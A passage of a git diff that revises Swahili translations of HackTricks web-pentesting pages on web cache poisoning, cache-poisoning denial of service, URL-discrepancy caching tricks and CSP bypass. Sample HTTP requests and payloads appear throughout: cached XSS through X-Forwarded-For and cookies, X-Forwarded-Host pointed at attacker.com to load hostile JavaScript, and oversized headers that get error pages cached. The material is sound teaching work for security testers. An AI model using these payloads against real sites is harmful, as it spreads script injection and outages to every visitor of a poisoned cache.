[`globalEval()`](https://api.jquery.com/jquery.globaleval/) kupitisha scripts kwa [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) wakati wa kuingiza DOM), unyakuzi bado unawezekana. Ingawa udhaifu huu ni muhimu, unyakuzi wake kwa kawaida unategemea mwingiliano wa mtumiaji: kutembelea ukurasa, kuingiza mzigo wa XSS, na kuamsha kitufe cha “Ongeza”. diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index b788b07df..e90463357 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -16,8 +16,8 @@ Uharibifu wa cache unalenga kubadilisha cache ya upande wa mteja ili kulazimisha Utendaji wa shambulio la uharibifu wa cache unajumuisha hatua kadhaa: 1. **Utambuzi wa Ingizo Lisilo na Funguo**: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache. -2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji. -3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa Katika Cache**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa. +2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayonufaisha mshambuliaji. +3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayeingia kwenye ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa. ### Ugunduzi: Angalia vichwa vya HTTP @@ -25,7 +25,7 @@ Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinach ### Ugunduzi: Kihesabu makosa ya caching -Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **nambari ya hali 400**. Kisha jaribu kufikia ombi kawaida na ikiwa **jibu ni nambari ya hali 400**, unajua ni hatari (na unaweza hata kufanya DoS). +Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **nambari ya hali 400**. Kisha jaribu kufikia ombi hilo kawaida na ikiwa **jibu ni nambari ya hali 400**, unajua lina udhaifu (na unaweza hata kufanya DoS). Unaweza kupata chaguzi zaidi katika: @@ -43,27 +43,27 @@ Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c ``` ### Pata jibu hatari kutoka kwa seva ya nyuma -Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na **wapi** inavyo **onyeshwa** au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakuaji wa msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...) +Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na wapi inavyoakisi au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakuaji wa msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...) ### Pata jibu lililohifadhiwa -Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya **kuutumia** vibaya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa. +Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya kuutumia vibaya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa. -Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halikuhifadhiwa na thamani **`hit`** wakati imehifadhiwa.\ -Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa wakati wa pili rasilimali itahifadhiwa tena: `Cache-Control: public, max-age=1800` +Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati imehifadhiwa.\ +Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa mara ya pili rasilimali hiyo itahifadhiwa tena: `Cache-Control: public, max-age=1800` Header nyingine ya kuvutia ni **`Vary`**. Header hii mara nyingi hutumiwa ku **onyesha headers za ziada** ambazo zinachukuliwa kama **sehemu ya ufunguo wa cache** hata kama kawaida hazina ufunguo. Hivyo, ikiwa mtumiaji anajua `User-Agent` wa mwathirika anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia `User-Agent` hiyo maalum. Header nyingine inayohusiana na cache ni **`Age`**. Inafafanua wakati katika sekunde kitu kimekuwa kwenye cache ya proxy. -Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza **kutumika bila kutarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Uharibu wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi. +Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza kutumika **kwa njia isiyotarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Upoaji wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi. ## Mifano ya Kutumia ### Mfano rahisi zaidi -Header kama `X-Forwarded-For` inarudishwa katika jibu bila kusafishwa.\ -Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayeingia kwenye ukurasa atakuwa na XSS: +Header kama `X-Forwarded-For` inakisiwa katika jibu bila kusafishwa.\ +Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -79,13 +79,13 @@ cache-poisoning-to-dos.md ### Using web cache poisoning to exploit cookie-handling vulnerabilities -Cookies zinaweza pia kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lenye uharibifu. +Cookies pia zinaweza kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lenye uharibifu. ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yanasafisha cache. +Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yakisafisha cache. ### Kutengeneza tofauti na vichomozi, urekebishaji na nukta @@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md ### Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti -Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha. +Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika vuln ambayo James Kettle alipata kwenye tovuti ya Github: +Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ile vuln James Kettle alipata kwenye tovuti ya Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -168,7 +168,7 @@ GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. **GCP Buckets** inasai ### Rack Middleware (Ruby on Rails) -Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji uliotajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama. +Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji aliyetajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama. ### 403 and Storage Buckets @@ -176,7 +176,7 @@ Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Sto ### Injecting Keyed Parameters -Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililosajiliwa la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa kwa URL. Kuandika upya parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request ambalo linaweza kuhifadhiwa. +Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa URL. Kuandika URL ya parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request ambalo linaweza kuhifadhiwa. ### User Agent Rules @@ -207,7 +207,7 @@ Mambo mengine ya kujaribu: Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ Katika mfano, inaelezwa kwamba ikiwa unaleta ukurasa usio na kuwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**pamoja na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\ -Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuangalia **taarifa za siri** za watumiaji ambao walifika hapo awali. +Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuona **taarifa za siri** za watumiaji ambao walifika hapo awali. Kumbuka kwamba **cache proxy** inapaswa kuwa **imewekwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_). diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index eb9b6b52d..1268c9c2d 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -7,7 +7,7 @@ - **HTTP Header Oversize (HHO)** -Tuma ombi lenye ukubwa wa kichwa mkubwa kuliko ule unaou supported na seva ya wavuti lakini mdogo kuliko ule unaou supported na seva ya cache. Seva ya wavuti itajibu kwa jibu la 400 ambalo linaweza kuhifadhiwa: +Tuma ombi lenye ukubwa wa kichwa mkubwa kuliko ule unaounga mkono na seva ya wavuti lakini mdogo kuliko ule unaounga mkono na seva ya cache. Seva ya wavuti itajibu kwa jibu la 400 ambalo linaweza kuhifadhiwa: ``` GET / HTTP/1.1 Host: redacted.com @@ -44,13 +44,13 @@ Invalid Header ``` - **HTTP Method Override Attack (HMO)** -Ikiwa seva inasaidia kubadilisha njia ya HTTP kwa kutumia vichwa kama `X-HTTP-Method-Override`, `X-HTTP-Method` au `X-Method-Override`. Inawezekana kuomba ukurasa halali kwa kubadilisha njia ili seva isiupe, hivyo jibu mbaya linahifadhiwa: +Ikiwa seva inasaidia kubadilisha njia ya HTTP kwa kutumia vichwa kama `X-HTTP-Method-Override`, `X-HTTP-Method` au `X-Method-Override`. Inawezekana kuomba ukurasa halali kwa kubadilisha njia ili seva isiupe, hivyo jibu mbaya linapata uhifadhi: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` -- **Bandari Isiyo na Funguo** +- **Unkeyed Port** Ikiwa bandari katika kichwa cha Host inarudishwa katika jibu na haijajumuishwa katika ufunguo wa cache, inawezekana kuielekeza kwenye bandari isiyotumika: ``` @@ -92,7 +92,7 @@ Not Found ``` - **Path normalization** -Baadhi ya kurasa zitarudisha nambari za makosa zinapotuma data URLencode katika njia, hata hivyo, seva ya cache itafanya URLdecode njia na kuhifadhi jibu kwa njia ya URLdecoded: +Baadhi ya kurasa zitarudisha nambari za makosa zinapotuma data URLencode katika njia, hata hivyo, seva ya cache itafanya URLdecode njia na kuhifadhi jibu kwa njia iliyofanywa URLdecode: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index 02fc9d79f..58f15d233 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -5,22 +5,22 @@ Hii ni muhtasari wa mbinu zilizopendekezwa katika chapisho [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) ili kutekeleza mashambulizi ya cache poisoning **kwa kutumia tofauti kati ya cache proxies na seva za wavuti.** > [!NOTE] -> Lengo la shambulizi hili ni **kufanya seva ya cache ifikirie kuwa rasilimali ya statiki inachukuliwa** ili iweze kuikumbuka wakati seva ya cache inahifadhi kama ufunguo wa cache sehemu ya njia lakini seva ya wavuti inajibu kwa kutatua njia nyingine. Seva ya wavuti itatatua njia halisi ambayo itakuwa ikipakia ukurasa wa dynamic (ambao unaweza kuhifadhi taarifa nyeti kuhusu mtumiaji, mzigo mbaya kama XSS au kuhamasisha kupakia faili ya JS kutoka kwenye tovuti ya washambuliaji kwa mfano). +> Lengo la shambulizi hili ni **kufanya seva ya cache ifikirie kuwa rasilimali ya statiki inachukuliwa** ili iweze kuikumbuka wakati seva ya cache inahifadhi kama ufunguo wa cache sehemu ya njia lakini seva ya wavuti inajibu kwa kutatua njia nyingine. Seva ya wavuti itatatua njia halisi ambayo itakuwa ikipakia ukurasa wa dynamic (ambao unaweza kuhifadhi taarifa nyeti kuhusu mtumiaji, mzigo mbaya kama XSS au kuhamasisha kupakia faili ya JS kutoka tovuti ya washambuliaji kwa mfano). ## Delimiters -**URL delimiters** hutofautiana kulingana na mfumo na seva, ikihusisha jinsi maombi yanavyopangwa na majibu yanavyoshughulikiwa. Baadhi ya delimiters za asili za kawaida ni: +**URL delimiters** hutofautiana kulingana na mfumo na seva, na kuathiri jinsi maombi yanavyopangwa na majibu yanavyoshughulikiwa. Baadhi ya delimiters za asili za kawaida ni: - **Semicolon**: Inatumika katika Spring kwa mabadiliko ya matrix (e.g. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). - **Dot**: Inaelezea muundo wa majibu katika Ruby on Rails (e.g. `/MyAccount.css` → `/MyAccount`) - **Null Byte**: Inakata njia katika OpenLiteSpeed (e.g. `/MyAccount%00aaa` → `/MyAccount`). - **Newline Byte**: Inatenganisha vipengele vya URL katika Nginx (e.g. `/users/MyAccount%0aaaa` → `/account/MyAccount`). -Delimiters maalum zinaweza kupatikana kufuatia mchakato huu: +Delimiters maalum zaidi zinaweza kupatikana kufuatia mchakato huu: -- **Hatua ya 1**: Tambua maombi yasiyoweza kuhifadhiwa na uyatumie kufuatilia jinsi URLs zenye delimiters zinazowezekana zinavyoshughulikiwa. -- **Hatua ya 2**: Ongeza viambatisho vya nasibu kwenye njia na linganisha jibu la seva ili kubaini kama herufi inafanya kazi kama delimiter. -- **Hatua ya 3**: Ingiza delimiters zinazowezekana kabla ya viambatisho vya nasibu ili kuona kama jibu linabadilika, ikionyesha matumizi ya delimiter. +- **Hatua ya 1**: Tambua maombi yasiyoweza kuhifadhiwa kwenye cache na uyatumie kufuatilia jinsi URLs zenye delimiters zinazowezekana zinavyoshughulikiwa. +- **Hatua ya 2**: Ongeza viambatisho vya nasibu kwenye njia na linganisha jibu la seva ili kubaini ikiwa herufi inafanya kazi kama delimiter. +- **Hatua ya 3**: Ingiza delimiters zinazowezekana kabla ya kiambatisho cha nasibu ili kuona ikiwa jibu linabadilika, kuashiria matumizi ya delimiter. ## Normalization & Encodings @@ -29,24 +29,24 @@ Delimiters maalum zinaweza kupatikana kufuatia mchakato huu: ### **Encodings** -Seva tofauti za HTTP na proxies kama Nginx, Node, na CloudFront zinatafsiri delimiters kwa njia tofauti, zikileta kutokuelewana kati ya CDNs na seva za asili ambazo zinaweza kutumiwa. Kwa mfano, ikiwa seva ya wavuti inafanya mabadiliko haya `/myAccount%3Fparam` → `/myAccount?param` lakini seva ya cache inahifadhi kama ufunguo njia `/myAccount%3Fparam`, kuna kutokuelewana. +Seva tofauti za HTTP na proxies kama Nginx, Node, na CloudFront zinatafsiri delimiters kwa njia tofauti, na kusababisha kutokuelewana kati ya CDNs na seva za asili ambazo zinaweza kutumiwa. Kwa mfano, ikiwa seva ya wavuti inafanya mabadiliko haya `/myAccount%3Fparam` → `/myAccount?param` lakini seva ya cache inahifadhi kama ufunguo njia `/myAccount%3Fparam`, kuna kutokuelewana. -Njia moja ya kuangalia kutokuelewana hizi ni kutuma maombi ya URL ikitafsiri herufi tofauti baada ya kupakia njia bila tafsiri yoyote na kuangalia kama jibu la njia iliyotafsiriwa lilitoka kwenye jibu la cache. +Njia moja ya kuangalia kutokuelewana hizi ni kutuma maombi ya URL kuandika herufi tofauti baada ya kupakia njia bila uandishi wowote na kuangalia ikiwa jibu la njia iliyoundwa lilitoka kwenye jibu la cache. ### Dot segment -Kuweka sawa kwa njia ambapo dots zinahusika pia ni ya kuvutia sana kwa mashambulizi ya cache poisoning. Kwa mfano, `/static/../home/index` au `/aaa..\home/index`, baadhi ya seva za cache zitakumbuka hizi njia kama funguo wakati nyingine zinaweza kutatua njia na kutumia `/home/index` kama funguo ya cache.\ -Kama ilivyokuwa hapo awali, kutuma maombi haya ya aina na kuangalia kama jibu lilipatikana kutoka kwenye cache husaidia kubaini kama jibu kwa `/home/index` ni jibu lililotumwa wakati hizo njia zinapohitajika. +Kuweka sawa kwa njia ambapo dots zinahusika pia ni ya kuvutia sana kwa mashambulizi ya cache poisoning. Kwa mfano, `/static/../home/index` au `/aaa..\home/index`, baadhi ya seva za cache zitakumbuka hizi njia na wenyewe kama funguo wakati wengine wanaweza kutatua njia na kutumia `/home/index` kama funguo ya cache.\ +Kama ilivyokuwa hapo awali, kutuma maombi ya aina hii na kuangalia ikiwa jibu lilipatikana kutoka kwenye cache husaidia kubaini ikiwa jibu kwa `/home/index` ni jibu lililotumwa wakati hizo njia zinapohitajika. ## Static Resources -Seva kadhaa za cache daima zitakumbuka jibu ikiwa itatambuliwa kama statiki. Hii inaweza kuwa kwa sababu ya: +Seva kadhaa za cache daima zitakumbuka jibu ikiwa inatambuliwa kama statiki. Hii inaweza kuwa kwa sababu ya: - **Kiambatisho**: Cloudflare daima itakumbuka faili zenye viambatisho vifuatavyo: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - Inawezekana kulazimisha cache kuhifadhi jibu la dynamic kwa kutumia delimiter na kiambatisho cha statiki kama ombi kwa `/home$image.png` itakumbuka `/home$image.png` na seva ya asili itajibu na `/home` -- **Mikoa ya statiki inayojulikana**: Mikoa ifuatayo ina faili za statiki na hivyo majibu yao yanapaswa kuhifadhiwa: /static, /assets, /wp-content, /media, /templates, /public, /shared +- **Mikoa ya statiki inayojulikana**: Mikoa ifuatayo ina faili za statiki na kwa hivyo jibu lao linapaswa kuhifadhiwa: /static, /assets, /wp-content, /media, /templates, /public, /shared - Inawezekana kulazimisha cache kuhifadhi jibu la dynamic kwa kutumia delimiter, mkoa wa statiki na dots kama: `/home/..%2fstatic/something` itakumbuka `/static/something` na jibu litakuwa `/home` - **Mikoa ya statiki + dots**: Ombi kwa `/static/..%2Fhome` au kwa `/static/..%5Chome` linaweza kuhifadhiwa kama lilivyo lakini jibu linaweza kuwa `/home` -- **Faili za statiki:** Faili maalum fulani daima huhifadhiwa kama `/robots.txt`, `/favicon.ico`, na `/index.html`. Ambazo zinaweza kutumiwa vibaya kama `/home/..%2Frobots.txt` ambapo cache inaweza kuhifadhi `/robots.txt` na seva ya asili inajibu kwa `/home`. +- **Faili za statiki:** Faili maalum zingine daima zinakumbukwa kama `/robots.txt`, `/favicon.ico`, na `/index.html`. Ambazo zinaweza kutumiwa vibaya kama `/home/..%2Frobots.txt` ambapo cache inaweza kuhifadhi `/robots.txt` na seva ya asili inajibu kwa `/home`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 738c03c8f..23c3841a7 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -6,7 +6,7 @@ Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga **kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS)**. Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha anuwai ya vipengele kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama `eval`, `setTimeout`, au `setInterval`. -Utekelezaji wa CSP unafanywa kupitia **response headers** au kwa kuingiza **meta elements kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika. +Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika. - Implemented via response header: ``` @@ -25,7 +25,7 @@ CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi: ### Defining Resources -CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti vipengele kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni: +CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni: ```bash default-src 'none'; img-src 'self'; @@ -69,8 +69,8 @@ object-src 'none'; - `'unsafe-eval'`: Inaruhusu matumizi ya `eval()` na mbinu zinazofanana, haipendekezwi kwa sababu za usalama. - `'unsafe-hashes'`: Inaruhusu wakala maalum wa matukio ya ndani. - `'unsafe-inline'`: Inaruhusu matumizi ya rasilimali za ndani kama ` ``` ### strict-dynamic -Ikiwa unaweza kwa namna fulani kufanya **kodiyako ya JS inayoruhusiwa kuunda tagi mpya ya script** katika DOM na kodiyako ya JS, kwa sababu script inayoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**. +Ikiwa unaweza kwa namna fulani kufanya **kodhi ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodhi yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**. ### Wildcard (\*) ```yaml Content-Security-Policy: script-src 'self' https://google.com https: data *; ``` -Kipande kinachofanya kazi: +Kipakia kinachofanya kazi: ```markup "/>'> "/>'> @@ -153,21 +153,21 @@ Inafanya kazi payloads: ```yaml Content-Security-Policy: script-src 'self'; object-src 'none' ; ``` -Ikiwa unaweza kupakia faili ya JS unaweza kupita hii CSP: +Ikiwa unaweza kupakia faili ya JS unaweza kupita CSP hii: -Kifaa kinachofanya kazi: +Payload inayofanya kazi: ```markup "/>'> ``` Hata hivyo, kuna uwezekano mkubwa kwamba seva inafanya **uthibitishaji wa faili iliyopakiwa** na itaruhusu tu **kupakia aina fulani za faili**. -Zaidi ya hayo, hata kama ungeweza kupakia **kodia ya JS ndani** ya faili kwa kutumia kiambatisho kinachokubalika na seva (kama: _script.png_), hii haitatosha kwa sababu baadhi ya seva kama seva ya apache **huchagua aina ya MIME ya faili kulingana na kiambatisho** na vivinjari kama Chrome vitakataa **kutekeleza kodia ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiambatisho _**.wave**_, kwa hivyo haikihudumu na **aina ya MIME kama audio/\***. +Zaidi ya hayo, hata kama ungeweza kupakia **kodii ya JS ndani** ya faili kwa kutumia kiambatisho kinachokubalika na seva (kama: _script.png_), hii haitatosha kwa sababu baadhi ya seva kama seva ya apache **huchagua aina ya MIME ya faili kulingana na kiambatisho** na vivinjari kama Chrome vitakataa **kutekeleza kodii ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiambatisho _**.wave**_, kwa hivyo haitoi na **aina ya MIME kama audio/\***. -Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiambatisho kilichokosewa**, unaweza kujaribu kupakia faili yenye kiambatisho hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)). +Kutoka hapa, ikiwa utapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiambatisho kilichokosewa**, unaweza kujaribu kupakia faili yenye kiambatisho hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot 